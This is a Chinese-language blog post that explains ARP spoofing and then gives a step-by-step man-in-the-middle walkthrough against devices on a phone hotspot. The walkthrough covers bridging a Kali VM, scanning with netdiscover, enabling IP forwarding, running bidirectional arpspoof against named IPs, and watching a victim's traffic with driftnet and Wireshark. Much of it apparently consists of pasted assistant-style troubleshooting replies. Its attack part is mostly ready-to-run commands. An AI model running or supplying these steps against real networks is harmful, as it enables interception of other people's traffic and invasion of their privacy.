ARP欺骗原理

ARP欺骗原理:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
ARP 地址解析协议,的作用是将IP地址解析为物理硬件地址(MAC地址)

在局域网中,设备之间通信依赖的是MAC地址。ARP协议色痕迹之初出于对局域网内设备的完全信任,存在两个巨大的安全隐患,这也是ARP欺骗的根源:
1、无状态性:设备收到ARP应答(Reply)时,不会验证自己是否发送过ARP请求(Request)
2、后到优先:设备会接受最新的ARP应答,并覆盖ARP缓存表中旧的记录

统计流程解析:
假如网络环境如下:
·网关(Gateway):IP:192.168.200.1 , MAC AA:AA:AA:AA:AA:AA
·受害者(Victim):IP 192.168.200.2 , MAC BB:BB:BB:BB:BB:BB
·攻击者(You/Kali):IP 192.168.200.4,MAC CC:CC:CC:CC:CC:CC
攻击者如何欺骗网关?攻击者会不断向网关发送伪造的ARP应答包,内容宣称:“我是受害者IP192.168.200.2,我的MAC地址是CC:CC:CC:CC:CC:CC (攻击者MAC)”

网关收到后,会更新自己的ARP缓存表,当网关要想把数据包发给受害者(192.168.200.2)时,他查看缓存ibao,发现对应的MAC时攻击者的MAC,于是它会将数据包封装并发给攻击者

双向欺骗:为了实现完整的中间人攻击,攻击者通常会同时欺骗两边:
1、告诉网关:我是受害者
2、告诉受害者:我是网关

这样,双方通信流量都会将过攻击者的网卡
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
NAT模式:相当于在中间加了一个路由器,你发出的ARP广播包根本出不去,被挡在了虚拟网络里,所以你看不到外面的设备
NAT隔离:相当于你现在被关在“虚拟的小房间”里,而受害者在“房间外面的大厅”里

解决方案:必须切换到“桥接模式” (Bridged)
想要攻击手机热点下的其他设备,你必须让 Kali “走出小房间,直接连到热点上”。

操作步骤:
#修改虚拟机设置:
在 VMware 菜单栏点击 虚拟机 (Virtual Machine) -> 设置 (Settings)点击左侧的 网络适配器 (Network Adapter)在右侧选择 桥接模式 (Bridged)关键一步:勾选“复制物理网络连接状态”(Replicate physical network connection state)。
点击确定。
#打开虚拟网络编辑器 (Virtual Network Editor)
在 Windows 下(不是 Kali 里),点击 VMware 软件左上角的 编辑 (Edit) -> 虚拟网络编辑器 (Virtual Network Editor)点击右下角的 更改设置 (Change Settings)(需要管理员权限)。
在列表中找到 VMnet0(它的类型应该是“桥接模式”)。
如果没有 VMnet0,就点击“添加网络”添加一个。
在下方的 已桥接至 (Bridged to) 下拉菜单中:
千万不要选“自动”!
必须选择你截图里那个 Wi-Fi 网卡的名字:Qualcomm WCN685x Wi-Fi 6E...。
点击 确定 保存。

sudo systemctl restart NetworkManager           重启网络管理器服务




什么你觉得没变?
因为你的网卡现在同时拥有两个 IP:
172.24.198.118(旧的,错误的)
172.20.10.5(新的,正确的)
这种情况会让网络工具“精神分裂”,它可能会继续默认使用上面那个错误的 IP 发包。我们需要手动帮它“清理门户”。
第一步:清理掉错误的 IP
为了防止干扰,我们手动把那个错误的 IP 删掉,只保留正确的。
在终端输入:
sudo ip addr del 172.24.198.118/20 dev eth0
输完之后,再输入 ip a 确认一下,应该只剩下 172.20.10.5 了。
第二步:扫描受害者(关键时刻)
既然你现在的 IP 是 172.20.10.5,说明你已经成功混入了手机热点的网络。
注意:你的子网掩码是 /28(这是 iPhone 热点的特性,意味着它只允许 14 台设备连接,IP 范围很小)。
请运行这个精准的扫描命令:
sudo netdiscover -r 172.20.10.0/24
(用 /24 也没关系,扫得更宽一点)
预期结果:
172.20.10.1:这是网关(你的手机)。
172.20.10.3:这是你截图里显示的受害者(如果它还连着的话)。
172.20.10.x:其他设备。
第三步:开始攻击演示
一旦扫描确认了受害者在线(比如看到了 172.20.10.3),就可以进行 ARP 欺骗了。
开启转发(别忘了):
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
双向欺骗(两个窗口):
# 窗口 1:告诉受害者(.3) 我是网关(.1)
arpspoof -i eth0 -t 172.20.10.3 172.20.10.1
# 窗口 2:告诉网关(.1) 我是受害者(.3)
arpspoof -i eth0 -t 172.20.10.1 172.20.10.3




开始 ARP 欺骗
假设我们要攻击那台 Intel 的电脑 (172.20.10.4),请按以下步骤操作。
第一步:开启路由转发(必做,否则对方会断网)
在 Kali 终端执行:
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
第二步:发动攻击(双向欺骗)
你需要打开两个终端窗口,分别执行以下命令:
窗口 1:欺骗受害者(告诉 .4 我是网关)
sudo arpspoof -i eth0 -t 172.20.10.4 172.20.10.1
窗口 2:欺骗网关(告诉 .1 我是受害者)
sudo arpspoof -i eth0 -t 172.20.10.1 172.20.10.4
(如果你想攻击自己的主机 .3,就把上面的 172.20.10.4 换成 172.20.10.3 即可)
第三步:验证效果
攻击开始后,你可以用 Wireshark 抓包,或者使用 driftnet 查看受害者正在浏览的图片:
sudo driftnet -i eth0



#需要先让 Kali “认识”一下受害者,然后再攻击。
第一步:停止当前的攻击
在两个 arpspoof 的终端窗口中,都按 Ctrl + C 停止运行。
第二步:手动“激活”目标(关键)
在终端里输入以下命令,强行让 Kali 去寻找受害者:
ping -c 4 172.20.10.4
确保你能看到 64 bytes from ... 的回显。这不仅证明它是通的,更重要的是,这会把受害者的 MAC 地址写入 Kali 的 ARP 缓存表。
第三步:检查 ARP 缓存
输入以下命令确认 Kali 已经获取到了 MAC:
arp -a
你应该能看到类似 (172.20.10.4) at 08:b4:d2:55:49:89 ... 的记录。只要不是 (incomplete) 或者没有记录,就可以继续。
第四步:重新开始欺骗
现在重新运行那两条攻击命令:
# 窗口 1
sudo arpspoof -i eth0 -t 172.20.10.4 172.20.10.1
# 窗口 2
sudo arpspoof -i eth0 -t 172.20.10.1 172.20.10.4
👀 观察变化: 这次再看 arpspoof 的输出,中间那个 MAC 地址应该变成真实的 08:b4:d2...,而不是 0:0:0:0:0:0 了。
第五步:验证 Wireshark
回到 Wireshark:
重新开始抓包。
让受害者随便打开一个网页(比如百度)。
你应该能看到 TCP 和 TLS 的数据包开始刷屏。这就说明你成功截获流量了!
不需要纠结 Ping 不通的问题,直接开始攻击。因为 Kali 现在已经知道对方的 MAC 地址了,之前那个 0:0:0:0:0:0 的错误不会再出现了。
立刻运行攻击命令(两个窗口):
窗口 1:
sudo arpspoof -i eth0 -t 172.20.10.4 172.20.10.1
窗口 2:
sudo arpspoof -i eth0 -t 172.20.10.1 172.20.10.4
这次你会发现,终端里刷出的日志里,MAC 地址会是正确的 08:b4:d2...,这就说明攻击已经生效了!
💡 额外验证(如果你非要 Ping 通): 如果你能操作那台受害者电脑(172.20.10.4),去把它的 Windows 防火墙 暂时关掉,或者在防火墙设置里允许 ICMP 回显,Ping 马上就通了。但这不影响你进行 ARP 欺骗实验

#使用 Wireshark(最专业,看所有流量)
如果你想看受害者具体在干什么(不仅仅是看图片),Wireshark 是最强大的工具,而且 Kali 默认自带。
在 Kali 左上角菜单搜索 Wireshark 并打开(或者终端输入 sudo wireshark)。
在欢迎界面双击 eth0 开始抓包。
现在你的屏幕上会疯狂跳动数据包。
如何过滤只看受害者?
在顶部的过滤栏(Filter)输入:ip.addr == 172.20.10.4
回车。现在你看到的就是全都是受害者的流量了。
你可以尝试输入 http 来只看网页浏览记录。

#driftnet 显示黑屏(或者一直捕获不到图片)的核心原因只有一个:HTTPS 加密。
1. 核心原因:HTTP vs HTTPS
Driftnet 的原理:它只能从流量中提取 HTTP(未加密) 协议传输的图片。
现在的互联网:99% 的网站(百度、B站、淘宝、Google、所有银行)都强制使用了 HTTPS(加密传输)。
结果:当受害者访问 HTTPS 网站时,所有图片数据在传输过程中都是乱码(加密的)。Driftnet 看不懂这些乱码,所以提取不出图片,窗口就是黑的。
2. 如何验证你的攻击是否成功?
为了证明你的中间人攻击其实是成功的,你需要让受害者访问一个非加密的 HTTP 网站。
🧪 测试步骤:
保持攻击:不要关闭 arpspoof 和 driftnet 的窗口。
受害者操作:用受害者的电脑(或手机)打开浏览器,访问下面这些纯 HTTP 网站(不要用搜索引擎搜,直接在地址栏输入):
http://www.vulnweb.com/ (一个专门用于测试的靶场网站)
http://example.com/
观察 Driftnet:
一旦受害者加载了 www.vulnweb.com 里的图片,你的 driftnet 小黑窗里瞬间就会浮现出图片。
3. 如果连 HTTP 网站都抓不到...
如果受害者访问了 HTTP 网站,但你还是黑屏,那可能有以下两个问题:
问题 A:IP 转发没开(导致受害者断网) 如果受害者那边网页根本打不开(一直在转圈),说明你的 Kali 截获了数据包但没发出去。
检查命令:
cat /proc/sys/net/ipv4/ip_forward
如果是 0,请再次执行:echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
问题 B:Driftnet 监听错网卡了 虽然你用了 -i eth0,但建议确认一下流量是否真的在走。
改用 Wireshark 验证:
打开 Wireshark,选 eth0。
输入过滤条件:ip.addr == 172.20.10.4 (受害者IP)看有没有数据包在跳动。如果有,说明攻击成功了,只是 Driftnet 解析不了 HTTPS 而已。
总结
你现在的状态就像是**“戴着普通眼镜试图看红外线”**。
攻击是成功的(你截获了数据)。
但是数据是加密的(HTTPS),所以 Driftnet 这个老旧的工具(只懂 HTTP)变成了“瞎子”。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
这是一张非常典型的**攻击失败**截图,原因非常简单,但也很容易被忽略。
请仔细看你截图左边那个终端窗口里的一排排数字:
`0:c:29:78:c:c 0:0:0:0:0:0 0806 42: arp reply ...`
**🔴 核心问题:`0:0:0:0:0:0`**
中间这一串 **全 0 的 MAC 地址** 就是问题的根源。
这代表 `arpspoof` 工具**丢失了目标的物理地址**。它想欺骗受害者,但它不知道受害者的网卡地址是多少,所以它把攻击包发往了一个“空地址”。受害者根本收不到这些包,所以你的攻击无效,`driftnet` 当然也是黑屏。
### 为什么会这样?
虽然你刚才用 `arp -a` 看到了地址,但因为受害者开启了防火墙(Ping 不通),Kali 的系统可能会认为“这个设备不在线”,过一会就把它的 ARP 记录**清理掉(过期)了**。
### ✅ 解决办法(只需 3 步)
我们需要在攻击运行的前一秒,强行刷新一次记录。
#### 第一步:全部停止
在两个运行 `arpspoof` 的黑色窗口中,都按 **`Ctrl + C`** 彻底关掉它们。
#### 第二步:手动“激活”ARP 缓存(关键)
不管 Ping 通不通,我们要利用 Ping 命令触发底层的 ARP 请求。请**快速**依次执行以下命令:
```bash
# 1. 激活网关记录
ping -c 2 172.20.10.1
# 2. 激活受害者记录
ping -c 2 172.20.10.4
# 3. 立即确认(必须要看到两台设备都有 MAC 地址才行)
arp -a
*如果你看到 `(incomplete)`,就多 Ping 几次,直到出现 MAC 地址(如 `08:b4:d2...`)为止。*
#### 第三步:趁热打铁,立刻攻击
一旦 `arp -a` 里有了记录,**不要犹豫,马上运行攻击命令**:
# 窗口 1
sudo arpspoof -i eth0 -t 172.20.10.4 172.20.10.1
# 窗口 2
sudo arpspoof -i eth0 -t 172.20.10.1 172.20.10.4
**👀 这次注意观察:**
运行后,盯着屏幕看,确保中间那串地址**不再是 `0:0:0:0:0:0`**,而是变成了具体的字母数字组合(如 `08:b4...`)。只要地址对了,流量自然就来了。
本文采用 CC BY-NC-SA 4.0 许可协议
使用 Hugo 构建
主题 StackJimmy 设计